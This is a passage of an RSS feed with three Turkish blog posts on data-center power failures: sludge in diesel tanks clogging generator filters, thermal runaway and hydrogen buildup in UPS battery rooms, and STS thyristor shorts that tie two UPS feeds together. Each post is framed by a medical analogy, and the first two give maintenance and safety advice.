            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/jenerator-tankinda-unutulan-su-ve-tortu-kesinti-aninda-tikanan-filtreler/thumbnail" alt=""> Acil tıpta ve yoğun bakımda hekimleri en çok korkutan ani ölüm tablolarından biri "Masif Pulmoner Emboli"dir.</p>
<p>Haftalarca yatağa bağımlı kalan veya uzun süre hareketsiz oturan bir hastanın bacak toplardamarlarında (derin venlerde) kan akımı yavaşlar (staz). O durağan kanın içinde yavaş yavaş, mikroskobik bir pıhtı (trombüs) büyür. Hasta yatakta sakince yatarken hiçbir şikayet hissetmez; nabzı normaldir, tansiyonu yerindedir.</p>
<p>Fakat hasta iyileştiğini düşünüp aniden ayağa kalktığında, kaslar kasılır ve kan dolaşımı hızlanır. Bacağın dibinde sinsi sinsi büyüyen o devasa pıhtı damar duvarından kopar! Kan akışıyla birlikte kalbin sağ boşluğuna girer ve oradan akciğer atardamarına (pulmoner artere) bir tıkaç gibi fırlar: <strong>Damarı "şak" diye kilitler.</strong></p>
<p>Hastanın ciğerlerine giden kan akımı bir saniyede sıfıra iner. Hasta boğazını tutar, nefes alamaz, gözleri kararır ve birkaç dakika içinde kardiyak arreste girer. Kriz hastanın yattığı yerde değil; sisteme ani bir hareket ve yük bindiği anda patlak vermiştir.</p>
<p>Veri merkezlerinde, hastanelerde ve kritik endüstriyel tesislerde de tam olarak bu pulmoner emboli dehşetini yaşatan, jeneratör odasının karanlığında sessizce pusuya yatan devasa bir ihmal vardır: <strong>Aylarca Depoda Bekleyen Dizel Yakıtın Dibindeki Su ve Biyolojik Balçık.</strong></p>
<hr>
<h3>"Depomuz Ağzına Kadar Mazot Dolu" Özgüveni</h3>
<p>Tesis müdürlerinin ve satın alma ekiplerinin en sevdiği güvence cümlelerinden biridir:<br>
<em>"Efendim, veri merkezimizin bahçesindeki 5.000 litrelik jeneratör yakıt tankımız ağzına kadar dolu. Tam 72 saat hiç durmadan çalışacak dizelimiz var, elektrik kesilse bile sırtımız yere gelmez."</em></p>
<p>Raporlara bakarsınız; evet, tank seviye göstergesi <code>%100</code> göstermektedir.<br>
Ayda bir kez yapılan rutin testte jeneratörün marşına basılır; jeneratör boşta, yüksüz olarak 10 dakika homurdanır, egzozdan hafif bir duman atar ve kapatılır: "Test başarılı."</p>
<p>Oysa o devasa çelik tankın en dibinde, gözle görülmeyen karanlıkta korkunç bir kimyasal ve biyolojik dönüşüm yaşanmaktadır.</p>
<hr>
<h3>Depodaki Canavar: Yoğuşma Suyu ve "Dizel Böceği" (Diesel Bug)</h3>
<p>Dizel yakıt (motorin) durağan ve sonsuz ömürlü bir kimyasal değildir; yaşayan, bayatlayan ve bozulan organik bir bileşiktir.</p>
<p>Tankın içinde iki ölümcül süreç işler:</p>
<ol>
<li><strong>Yoğuşma Suyu (Condensation):</strong> Gece ile gündüz arasındaki sıcaklık farkları yüzünden tankın çelik iç duvarlarında havadaki nem yoğuşur. Su, motorinden daha yoğun olduğu için yerçekimiyle tankın en dibine çöker. Tankın tabanında zamanla santimetrelerce kalınlıkta bir su tabakası birikir.</li>
<li><strong>Dizel Böceği (Microbial Contamination):</strong> Su ile mazotun birbirine temas ettiği o sınır yüzeyinde mantarlar, mayalar ve bakteriler üremeye başlar. Literatürde buna halk arasında "Diesel Bug" denir. Bu mikroorganizmalar hidrokarbonları yer ve arkalarında zift gibi yapışkan, siyah, yoğun bir biyolojik çamur (sludge) bırakırlar.</li>
<li><strong>Pas ve Sediment:</strong> Tankın dibindeki su çeliği oksitler; pas pulları ve tortular o çamurla birleşerek dibe çöker.</li>
</ol>
<p>Jeneratör depodan yakıt çekerken emiş borusu genellikle tankın tabanından 5-10 santimetre yukarıda durur.<br>
Rölanti testinde jeneratör dakikada sadece birkaç yüz mililitre yakıt çeker. Yüzeydeki temiz yakıt gelir, jeneratör çalışır; alttaki çamur tabakası kımıldamaz bile!</p>
<p>Tıpkı bacağındaki pıhtıyla yatakta sessizce yatan o emboli hastası gibi...</p>
<hr>
<h3>Şebeke Kesildiği An: Embolinin Kopuşu</h3>
<p>Ve o kış gecesi gelir. Şehir trafosu patlar, elektrik kesilir.<br>
Jeneratör kükreyerek marş basar. ATS şalteri transferi yapar. 1.500 kVA'lık dev motor, binlerce sunucunun, storage'ın ve devasa iklimlendirme chiller'larının yükünü tek başına sırtlar!</p>
<p>Motor tam yüke bindiği o saniyede yakıt debisi patlar!<br>
Yakıt pompası tankın içinden dakikada onlarca litre motorini emmeye başlar.<br>
O devasa emiş gücü, tankın dibindeki o su, pas, katran ve biyolojik çamur katmanını bir girdap gibi havalandırır!</p>
<p>O siyah balçık dalgası yakıt borusunun içine hücum eder.<br>
Jeneratörün önündeki ilk ve tek savunma hattına çarpar: <strong>Yakıt Filtresi ve Su Ayırıcı (Racor Filter).</strong></p>
<p>Filtre gözenekleri mikron ölçeğindedir. O devasa çamur kütlesi filtrenin kağıt gözeneklerine sıvandığı o 30 saniye içinde ne olur?</p>
<ul>
<li>Filtre kağıdı katranla kilitlenir.</li>
<li>Yakıt hattındaki basınç aniden düşer (Fuel Rail Pressure Loss).</li>
<li>Enjektörlere mazot yerine köpüklü hava ve su gitmeye başlar.</li>
</ul>
<hr>
<h3>Beşinci Dakikada Gelen Boğulma</h3>
<p>Veri merkezinde o sırada sistemciler kahvelerini yudumlamakta, "Jeneratör devreye girdi, güvendeyiz" demektedir.</p>
<p>Saat: Kesintinin 5. dakikası.<br>
Dışarıdan gelen o güçlü motor gümbürtüsünün ritmi aniden bozulur:<br>
<em>Dık-dık-dık... Hııııkk... Pat...</em></p>
<p>Dizel motor mazotsuzluktan öksürmeye başlar. Frekans 50 Hz'den 44 Hz'e düşer. Voltaj dalgalanır.<br>
Ve son bir acı iniltiyle jeneratör stop eder!<br>
Egzozdan beyaz bir duman çıkar ve derin bir sessizlik çöker.</p>
<p>Kabin odasındaki UPS aküleri yeniden devreye girer. Göstergedeki sayaç acımasızca geri sayar:<br>
<code>BATTERY TIME REMAINING: 06:12... 06:11...</code></p>
<p>Tesis teknisyeni fenerle jeneratörün başına koşar. Yakıt filtresinin şeffaf cam haznesine baktığında gördüğü manzara felakettir: Filtrenin içi zift gibi simsiyah bir balçıkla doludur!</p>
<p>Filtre tıkanmıştır; depodaki 5.000 litre mazot orada durmaktadır ama motora bir damlası bile gidememektedir!<br>
Aküler 6 dakika sonra biter ve trilyonluk veri merkezi kapkaranlık bir enkaza dönüşür.</p>
<hr>
<h3>Yakıt Hijyeni: Tankı Yaşatmanın Kuralları</h3>
<p>Depoda mazotun olması, o mazotun motoru çalıştırabileceği anlamına gelmez. Profesyonel bir tesis yönetimi yakıtı bir kan bankası disipliniyle yönetmelidir:</p>
<ol>
<li><strong>Yakıt Parlatma Sistemi (Fuel Polishing System):</strong> Ana yakıt tankının yanına bağımsız, 7/24 çalışan otomatik bir filtreleme ve devridaim ünitesi kurulmalıdır. Bu ünite yakıtı dipten sürekli çeker, suyu ayırır, mikronluk partikülleri süzer ve temiz yakıtı tekrar depoya basar.</li>
<li><strong>Dipten Su Tahliyesi (Water Draining):</strong> Ayda bir kez tankın en alt noktasındaki tahliye vanası (drain valve) bir kovanın içine açılarak dipte biriken yoğuşma suyu fiziksel olarak dışarı akıtılmalıdır.</li>
<li><strong>Biyosit Katkıları (Biocide Additives):</strong> Depodaki mikroorganizma ve bakteri oluşumunu engellemek için yakıta periyodik olarak biyosit kimyasalları eklenmelidir.</li>
<li><strong>Çift Kademeli Değiştirilebilir Filtre (Duplex Racor Filter):</strong> Jeneratörün üzerine tek bir filtre değil; vanayla anında geçiş yapılabilen çiftli (Duplex) filtre takılmalıdır. Bir filtre tıkandığında motoru durdurmadan tek bir kolu çevirerek temiz filtreye geçilebilmelidir.</li>
<li><strong>Yıllık Yakıt Laboratuvar Analizi:</strong> Yılda en az bir kez depodan dip, orta ve üst seviyeden numune alınarak akredite bir laboratuvarda su, partikül ve parlama noktası testi yaptırılmalıdır.</li>
</ol>
<p>Tıpta bacağındaki pıhtıyı temizlemediğiniz hasta ilk yürüyüşünde emboliden ölür.</p>
<p>Veri merkezinde de yakıt tankının dibindeki çamuru temizlemezseniz; jeneratörünüz en çok ihtiyaç duyduğunuz o ilk gerçek kriz anında kendi filtresinde boğularak sizi karanlığa terk eder. Depodaki litreye değil; o filtrenin saflığına güvenin.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Jeneratör</category>
            <category>Dizel Yakıt</category>
            <category>Veri Merkezi</category>
            <category>Altyapı</category>
            <category>Filtre</category>
            <category>Disaster Recovery</category>
            <category>SysAdmin</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/jenerator-tankinda-unutulan-su-ve-tortu-kesinti-aninda-tikanan-filtreler/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Akü Odasında Termal Kaçış" (Thermal Runaway): Kaynayan Kimyasal Saatli Bomba]]></title>
            <link>http://localhost:3000/blog/post/aku-odasinda-termal-kacis-thermal-runaway-kaynayan-kimyasal-saatli-bomba</link>
            <guid>aku-odasinda-termal-kacis-thermal-runaway-kaynayan-kimyasal-saatli-bomba</guid>
            <pubDate>Wed, 06 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[UPS akü bankalarında aşırı şarj ve sıcaklıkla başlayan kontrolsüz termal kaçış (thermal runaway); şişen aküler, çürük yumurta kokusu, patlayıcı hidrojen gazı ve kimyasal kıyamet.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/aku-odasinda-termal-kacis-thermal-runaway-kaynayan-kimyasal-saatli-bomba/thumbnail" alt=""> Anestezi ve yoğun bakım uzmanlarının meslek hayatları boyunca karşılaşmaktan en çok korktuğu farmakogenetik kabus "Malign Hipertermi"dir (Malignant Hyperthermia).</p>
<p>Genetik bir yatkınlığı olan hastaya genel anestezi sırasında belirli bir gaz (örneğin sevofluran veya süksinilkolin) verildiğinde, kas hücrelerindeki kalsiyum kanalları aniden kontrolsüz şekilde açılır. Kaslar durmaksızın, çılgınca kasılmaya başlar. Vücudun metabolik hızı bir anda on katına fırlar; hastanın vücut sıcaklığı her beş dakikada bir derece artarak 42°C, 43°C seviyelerine tırmanır! Vücut adeta kendi ürettiği metabolik ısıyla içeriden dışarıya doğru kaynamaya başlar. Eğer o saniyede anestezik gaz kesilip acil Dantrolen ilacı verilmezse; hastanın tüm proteinleri termal olarak pıhtılaşır ve dakikalar içinde multiorgan yetmezliğinden kaybedilir. Tıpta buna kendi kendini besleyen, geri beslemeli ölümcül hipertermi döngüsü denir.</p>
<p>Veri merkezlerinde, enerji depolama odalarında ve trafo merkezlerinde de tam olarak bu malign hipertermi tablosunu sergileyen, demir ve asidin kontrolsüzce kaynamaya başladığı en tehlikeli altyapı felaketi şudur: <strong>UPS Akü Bankalarında Termal Kaçış (Thermal Runaway).</strong></p>
<p>Ve bu felaket başladığında karşınızda artık teknik bir arıza yoktur; her an patlamaya hazır kimyasal bir saatli bomba vardır.</p>
<hr>
<h3>Negatif Direncin Ölümcül Tuzağı</h3>
<p>Standart bir elektrik iletkenini (örneğin bir bakır teli) ısıtırsanız ne olur? Ohm kanunu gereği sıcaklık arttıkça bakırın elektriksel direnci de artar. Direnç arttığı için üzerinden geçen akım zorlanır ve sistem kendini doğal olarak frenler.</p>
<p>Fakat kurşun-asit (VRLA - AGM/Jel) akülerin içindeki elektrokimyasal dünyada bu fizik kuralı tam tersine işler: <strong>Akü elektroliti negatif sıcaklık katsayısına (NTC - Negative Temperature Coefficient) sahiptir.</strong></p>
<p>Şimdi bu denklemin yarattığı korkunç kısır döngüye bakalım:</p>
<ol>
<li>Akü odasındaki klima arızalanır veya akünün kendi hücre içi yaşı yüzünden sıcaklığı 25°C'den 35°C'ye çıkar.</li>
<li>Akü ısındıkça, iç direnci (Internal Resistance) yükselmek yerine <strong>aniden düşmeye başlar!</strong></li>
<li>Direnç düştüğü için, UPS'in şarj ünitesi (Rectifier/Charger) o aküye sabit voltaj basarken akünün çektiği şarj akımı (<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>I</mi><mo>=</mo><mi>V</mi><mi mathvariant="normal">/</mi><mi>R</mi></mrow><annotation encoding="application/x-tex">I = V / R</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="mord">/</span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span></span></span></span>) katlanarak artar.</li>
<li>Çekilen aşırı akım, akünün hücrelerindeki kimyasal reaksiyonu hızlandırır ve akü <strong>daha da fazla ısı üretir!</strong></li>
<li>Daha fazla ısı -> Daha düşük direnç -> Daha yüksek şarj akımı -> Çok daha fazla ısı!</li>
</ol>
<p>Sistem artık kontrol dışına çıkmıştır. Bir termodinamik çığ gibi kendi kendini besleyen bu reaksiyon başladıktan sonra hücre içi sıcaklık <strong>80°C, 90°C hatta 100°C'nin üzerine</strong> fırlar!</p>
<hr>
<h3>Şişen Gövdeler ve Çürük Yumurta Kokusu</h3>
<p>Akü odasının kapısını açtığınızda yüzünüze çarpan o ilk hissi yaşayan bir mühendis ömrü boyunca unutamaz.</p>
<p>Odanın havası sanki bir hamam gibi sıcak ve yoğundur. Genzi yakan, gözleri sulandıran, sülfürlü, iğrenç bir <strong>çürük yumurta kokusu (Hidrojen Sülfür - <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>H</mi><mn>2</mn></msub><mi>S</mi></mrow><annotation encoding="application/x-tex">H_2S</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span></span></span></span>) ve keskin asit buharı</strong> odayı kaplamıştır.</p>
<p>Çelik raflara baktığınızda gözlerinize inanamazsınız:<br>
Normalde dikdörtgen, düz, pürüzsüz olan o sert siyah polipropilen akü kasaları; içeride kaynayan asidin ve gazın yarattığı devasa basınç yüzünden birer futbol topu gibi şişmiş, bombeleşmiş ve birbirine yapışmıştır!</p>
<p>Akülerin üzerindeki acil basınç tahliye valfleri (rubber safety vents) patlamış; içeriye beyaz, asidik bir duman ve zehirli gaz fışkırmaktadır.</p>
<p>Kutup başlarına baktığınızda kalın kurşun baraların aşırı ısıdan dolayı yamulduğunu, kutup başı plastiklerinin eriyip jöleye döndüğünü görürsünüz. Akülerin gövdesine dokunmaya kalksanız elinizin derisi anında yapışacaktır; çünkü içerideki kurşun plakalar ve asit kaynamaktadır.</p>
<hr>
<h3>Patlamaya Hazır Hidrojen Odası</h3>
<p>Fakat bu tablonun en dehşet verici boyutu sıcaklık veya eriyen plastik değildir.<br>
Asıl görünmez katil: <strong>Hidrojen Gazıdır (<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>H</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">H_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>).</strong></p>
<p>Aşırı şarj ve yüksek sıcaklık altında akünün içindeki su elektroliz olur; oksijen ve saf hidrojen gazına ayrışır.<br>
Akü odasının tavanına doğru hafif olan hidrojen gazı yükselir ve tavanda birikmeye başlar.</p>
<p>Hidrojen gazının havadaki patlama alt sınırı (LEL - Lower Explosive Limit) sadece <strong>yüzde dörttür (%4)!</strong><br>
Yani havadaki hidrojen oranı yüzde dörde ulaştığı anda, o oda bir termobarik bombaya dönüşür.</p>
<p>Ve o anda sahadaki bilgisiz bir personelin yapacağı tek bir hareket:</p>
<ul>
<li>Odanın florasan lambasını yakmak için duvardaki anahtara basması (anahtar kontağındaki mikroskobik kıvılcım),</li>
<li>Elindeki metal aleti çelik rafa hafifçe çarpıp kıvılcım çıkarması,</li>
<li>Veya cep telefonunu açması...</li>
</ul>
<p>Odayı saniyeler içinde devasa bir ateş topuna çevirmeye yeter!<br>
Tüm bina sarsılır, akülerin içindeki sülfürik asit şarapnel parçaları gibi çevreye fırlar, beton duvarlar çöker.</p>
<hr>
<h3>Termal Kaçışa Müdahale: Ne Yapmalı, Ne Yapmamalı?</h3>
<p>Termal kaçış yaşayan bir akü odasına müdahale etmek, bomba imha uzmanlığı kadar yüksek bir disiplin ve soğukkanlılık gerektirir:</p>
<h4>Kesinlikle Yapılmaması Gerekenler:</h4>
<ol>
<li><strong>Asla Elektrik Düğmelerine Dokunmayın:</strong> Odadaki ışık anahtarlarını açmayın veya kapatmayın! Havalandırma düğmesine basmayın. Oluşacak en ufak bir ark patlamayı tetikler.</li>
<li><strong>Asla Aküleri Çıplak Elle Sökmeye Çalışmayın:</strong> Bir anahtarla akü kutup başını gevşetmeye çalıştığınız anda çıkacak tek bir kıvılcım yüzünüzde patlar.</li>
<li><strong>Asla Su Sıkmayın:</strong> Yüksek voltajlı DC bus (400V-540V DC) bulunan bir odaya su sıkmak ölümcül elektrik çarpmasına ve hidrojen üretiminin daha da hızlanmasına yol açar.</li>
</ol>
<h4>Yapılması Gereken Hayati Adımlar:</h4>
<ol>
<li><strong>Şarjı Uzaktan / Ana Panodan Kesin:</strong> Doğrudan akü odasına girmeden; elektrik ana dağıtım panosundan UPS'in şebeke giriş şalterini (Rectifier Input Breaker) indirin. Akülere basılan şarj akımı kesildiği an kimyasal besleme durur.</li>
<li><strong>Ex-Proof Havalandırma:</strong> Akü odalarında tavan seviyesine yerleştirilmiş kıvılcım çıkarmaz (ATEX / Ex-Proof) hidrojen tahliye fanı bulunmalıdır. Bu fan dışarıdan çalıştırılarak hidrojen tahliye edilmelidir.</li>
<li><strong>Soğumaya Bırakmak:</strong> Şarj kesildikten sonra bile kimyasal reaksiyon saatlerce devam edebilir. Koruyucu kimyasal giysi ve tam yüz gaz maskesi olmadan odaya girilmemeli, akülerin termal olarak sakinleşmesi beklenmelidir.</li>
</ol>
<hr>
<h3>Sıcaklık Kompansasyonu Olmayan UPS Cinayettir</h3>
<p>Termal kaçış bir kader değildir; ucuz ve bakımsız donanımın sonucudur.</p>
<p>Gerçek bir veri merkezinde şu güvenlik kalkanları zorunludur:</p>
<ul>
<li><strong>Sıcaklık Kompanzasyonlu Şarj (Temperature-Compensated Charging):</strong> UPS'in şarj voltajı akü odasının sıcaklığına bağlı olarak dinamik değişmelidir. Sıcaklık her 1°C arttığında şarj voltajı otomatik olarak düşürülmeli, 35 derecenin üzerinde şarj tamamen durdurulmalıdır.</li>
<li><strong>Hücre Başına Sıcaklık Sensörü (BMS):</strong> Akü bankasındaki her 4-6 akünün arasına termal sensörler yerleştirilmeli; hücre sıcaklığı 40°C'yi geçtiği an UPS alarm verip şarjı otomatik kesmelidir.</li>
<li><strong>Hidrojen Dedektörü (Hydrogen Sniffer):</strong> Tavanda sürekli hidrojen gazı seviyesini koklayan sensörler bulunmalı, gaz seviyesi %1'i geçtiğinde sesli alarm vermeli ve acil emiş fanlarını devreye sokmalıdır.</li>
<li><strong>Akü Odası Klimalarının Redundant Olması:</strong> Akü odası kliması arızalandığında sıcaklık saatler içinde fırlar. Akü odalarında daima N+1 yedekli iklimlendirme çalışmalıdır.</li>
</ul>
<p>Tıpta malign hipertermiye giren hastayı soğutmadan ve ilacını vermeden hayatta tutamazsınız.</p>
<p>Veri merkezinde de akülerin sıcaklığını takip etmeyen bir yönetim, trilyonluk yatırımlarını kaynayan bir asit kazanının üzerinde oturtuyor demektir. Akü odasındaki o sülfür kokusunu duyduktan sonra yapılacak tek şey kaçmaktır; o kokuyu duymamak ise profesyonel mühendisliğin namusudur.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>UPS</category>
            <category>Akü</category>
            <category>Thermal Runaway</category>
            <category>Veri Merkezi</category>
            <category>Yangın Güvenliği</category>
            <category>Altyapı</category>
            <category>Kimyasal Risk</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/aku-odasinda-termal-kacis-thermal-runaway-kaynayan-kimyasal-saatli-bomba/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Static Transfer Switch" (STS) Arızası: İki Bağımsız Hattı Birbirine Çakıştıran Kıyamet]]></title>
            <link>http://localhost:3000/blog/post/static-transfer-switch-sts-arizasi-iki-bagimsiz-hatti-birbirine-cakistiran-kiyamet</link>
            <guid>static-transfer-switch-sts-arizasi-iki-bagimsiz-hatti-birbirine-cakistiran-kiyamet</guid>
            <pubDate>Tue, 05 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Tek güç kaynaklı cihazları A ve B hatları arasında kesintisiz aktarmak için kurulan STS cihazlarının tristör (SCR) kısa devresiyle patlaması; iki bağımsız UPS kaynağını aynı anda yok eden yedeklilik ironisi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/static-transfer-switch-sts-arizasi-iki-bagimsiz-hatti-birbirine-cakistiran-kiyamet/thumbnail" alt=""> Kardiyoloji ve kalp damar cerrahisinde hekimlerin en çok çekindiği acil anatomik yırtılmalardan biri, kalp krizinin ardından kalbin sağ ve sol karıncıkları arasındaki kas duvarının delinmesiyle ortaya çıkan "Ventriküler Septal Defekt"tir (VSD).</p>
<p>Normal bir insan kalbinde iki bağımsız dolaşım sistemi çalışır:</p>
<ul>
<li>Sağ karıncık kirli kanı akciğere pompalar (düşük basınçlı devre - 25 mmHg).</li>
<li>Sol karıncık temiz oksijenli kanı tüm vücuda pompalar (yüksek basınçlı devre - 120 mmHg).</li>
</ul>
<p>Bu iki dünya birbirine milimetrelerce yakındır ama aralarındaki o sağlam kas duvarı (septum) sayesinde birbirlerine asla karışmazlar.</p>
<p>Fakat o septum duvarı yırtıldığı o mikrosaniyelik anda, sol karıncıktaki o devasa yüksek basınç doğrudan sağ tarafa fırlar! İki bağımsız dolaşım birbirine çakışır; akciğerler aniden kanla boğulur, oksijenli kan kirli kanla karışır ve hasta dakikalar içinde kardiomiyopatik şoka girerek masada kalır. İki bağımsız kaynağı ayıran bariyer çöktüğünde, sistemlerin bağımsızlığı anında bir ölüm tuzağına dönüşür.</p>
<p>Veri merkezi mimarisinde, kritik elektrik dağıtımında ve yüksek erişilebilirlik (HA) tasarımlarında da tam olarak bu septal defekt felaketini yaşatan, yedeklilik kurayım derken kendi kendini imha eden meşhur bir altyapı trajedisi vardır: <strong>Static Transfer Switch (STS) Cihazının Tristör Kısa Devresi Yapması.</strong></p>
<hr>
<h3>Tek Fişli Sunucuların Yetimliği ve STS Çözümü</h3>
<p>Modern bir Tier-3 veya Tier-4 veri merkezinde iki tamamen bağımsız güç hattı çekilir:</p>
<ul>
<li><strong>Kaynak A:</strong> UPS-A grubundan beslenen temiz hat.</li>
<li><strong>Kaynak B:</strong> UPS-B grubundan beslenen tamamen bağımsız hat.</li>
</ul>
<p>Çift güç kaynaklı (Dual PSU) kurumsal sunucular için hayat harikadır; kasanın arkasında iki fiş vardır, birini A'ya, diğerini B'ye takarsınız.</p>
<p>Fakat kabininizde tek güç kaynaklı (Single-Corded) cihazlar varsa —örneğin eski tip network switch'leri, telekomünikasyon modemleri, güvenlik duvarları veya basit depolama kutuları— ne yapacaksınız? Bu cihazların arkasında sadece tek bir fiş vardır. Ya A'ya takacaksınız, ya B'ye. Hangi hatta takarsanız, diğer hattın yedekliliğinden mahrum kalırsınız.</p>
<p>İşte tam burada mühendislerin imdadına o "sihirli" kutu yetişir: <strong>Static Transfer Switch (STS) veya Otomatik Transfer Anahtarı (ATS).</strong></p>
<p>Kabin tipi bir STS, 1U veya 2U yüksekliğinde rack tipi bir kutudur.<br>
Arkasına iki giriş girer: Giriş 1 (Kaynak A) ve Giriş 2 (Kaynak B).<br>
Çıkışında ise 12-16 adet priz vardır. Tek fişli cihazlarınızı bu prizlere takarsınız.</p>
<p>Çalışma prensibi büyüleyicidir:<br>
STS normalde cihazları Kaynak A'dan besler.<br>
Eğer A hattının elektriği kesilirse, STS mekanik rölelerin aksine mekanik bir ses çıkarmadan; katı hal yarı iletkenleri (<strong>SCR - Tristör</strong>) sayesinde <strong>sadece 3 ila 4 milisaniye içinde</strong> yükü Kaynak B'ye aktarır!<br>
Sunucuların içindeki kondansatörlerin boşalma süresi 16-20 milisaniye olduğu için, sunucular bu aktarmayı hiç hissetmez bile! Yeniden başlamaz, kapanmaz.</p>
<p>Kağıt üzerinde kusursuz bir mühendislik harikasıdır.<br>
Peki bu sihirli kutunun içinde o yarı iletken tristörlerden biri aniden iflas ederse ne olur?</p>
<hr>
<h3>SCR Tristörünün Sessiz Delinmesi: İki Dünyanın Çarpışması</h3>
<p>Mekanik bir şalter bozulduğunda genellikle açık devreye (open circuit) düşer; yani elektrik kesilir.<br>
Fakat katı hal yarı iletkenleri —özellikle yüksek akım anahtarlayan silikon kontrollü doğrultucular (SCR / Tristör)— yüksek termal stres veya şebeke parazitleri altında bozulduklarında genellikle <strong>kısa devreye (shorted failure mode)</strong> düşerler!</p>
<p>Bir STS'in içinde Kaynak A ve Kaynak B hatlarının önünde ters paralel bağlanmış iki bağımsız SCR tristör grubu bekler.</p>
<p>Şimdi o korkunç anı hayal edin:<br>
Gece saat 04:12. Kabindeki sunucular çalışmaktadır.<br>
STS'in Kaynak A tarafındaki tristör bloğunda mikroskobik bir aşırı ısınma meydana gelir ve silikon katmanı eriyerek delinir (breakdown). Tristör kısa devre kalır.</p>
<p>Tam o sırada, binanın UPS odalarında rutin bir yük testi veya şebekede hafif bir harmonik dalgalanma yaşanır.<br>
STS'in mikroişlemcisi mantıksal olarak karar verir:<br>
<em>"A hattında hafif bir voltaj dalgalanması var, hemen Kaynak B'ye aktarma yapıyorum!"</em></p>
<p>İşlemci, Kaynak B'nin tristörlerine "İLETİME GEÇ" sinyali gönderir.<br>
Kaynak B tristörü anında kapanır.<br>
Fakat Kaynak A tristörü içeriden delinmiş ve kısa devre kalmıştır; fiziksel olarak açılamamaktadır!</p>
<p>Ve o an...<br>
Mühendislik tarihinin en korkunç elektrik senaryosu gerçekleşir:<br>
<strong>Kaynak A ile Kaynak B, STS'in devre kartının üzerinde birbirine doğrudan kafa kafaya bağlanır!</strong></p>
<hr>
<h3>Faz Çakışması ve İki Bağımsız UPS'in Aynı Saniyede Patlaması</h3>
<p>Kaynak A (UPS 1) ile Kaynak B (UPS 2) iki tamamen bağımsız sistemdir. Aralarında her zaman birkaç derecelik mikroskobik bir <strong>faz açısı farkı (phase angle shift)</strong> vardır. İki kaynak asla ve asla birbirine senkronize edilmeden doğrudan bağlanamaz!</p>
<p>O iki bağımsız güç hattı STS'in içinde birbirine dokunduğu o mikrosaniyede ortaya çıkan şey; basit bir kısa devre değil, <strong>on binlerce Amperlik devasa bir faz-faz ark patlamasıdır (Arc Flash)!</strong></p>
<p>STS cihazının içinden odayı sarsan bir patlama sesi gelir:<br>
<strong>"GÜMMMM!"</strong></p>
<p>Tristör modülleri şarapnel parçaları gibi patlar, kasanın arkasından kıvılcımlar ve siyah dumanlar fışkırır.</p>
<p>Fakat asıl kıyamet panolarda kopar:</p>
<ol>
<li>Kaynak A'nın beslendiği dağıtım panosundaki 250 Amperlik ana şalter aşırı kısa devre akımını algılar: "ŞRAKK!" diye atar.</li>
<li>Aynı anda Kaynak B'nin beslendiği dağıtım panosundaki 250 Amperlik ana şalter de aynı kısa devreye yakalanır: "ŞRAKK!" diye atar.</li>
</ol>
<p>İki bağımsız UPS omurgası, birbirini kurtarsın diye araya konulan o 1U'luk kutunun içinde birbirini boğazlamıştır!</p>
<p>Sadece o kabindeki tek fişli cihazlar değil; o A ve B panolarından beslenen <strong>tüm koridordaki elli adet kabinin tamamı</strong> aynı anda kapkaranlık bir sessizliğe gömülür.</p>
<hr>
<h3>Yedeklilik Paradoksu: Karmaşıklık Güvenilirliği Azaltır</h3>
<p>Sistem mühendisliğinde ve güvenilirlik teorisinde (Reliability Engineering) değişmez bir matematik kanunu vardır:<br>
<strong>Bir sisteme eklediğiniz her ilave bileşen, sisteme yeni bir potansiyel hata noktası (Single Point of Failure - SPOF) ekler.</strong></p>
<p>STS cihazları kağıt üzerinde tek fişli cihazları "çift hatlı" hale getirir gibi görünür; fakat gerçekte o cihaz, iki bağımsız dünyayı fiziksel olarak birbirine bağlayan devasa bir ortak arıza noktasına dönüşür.</p>
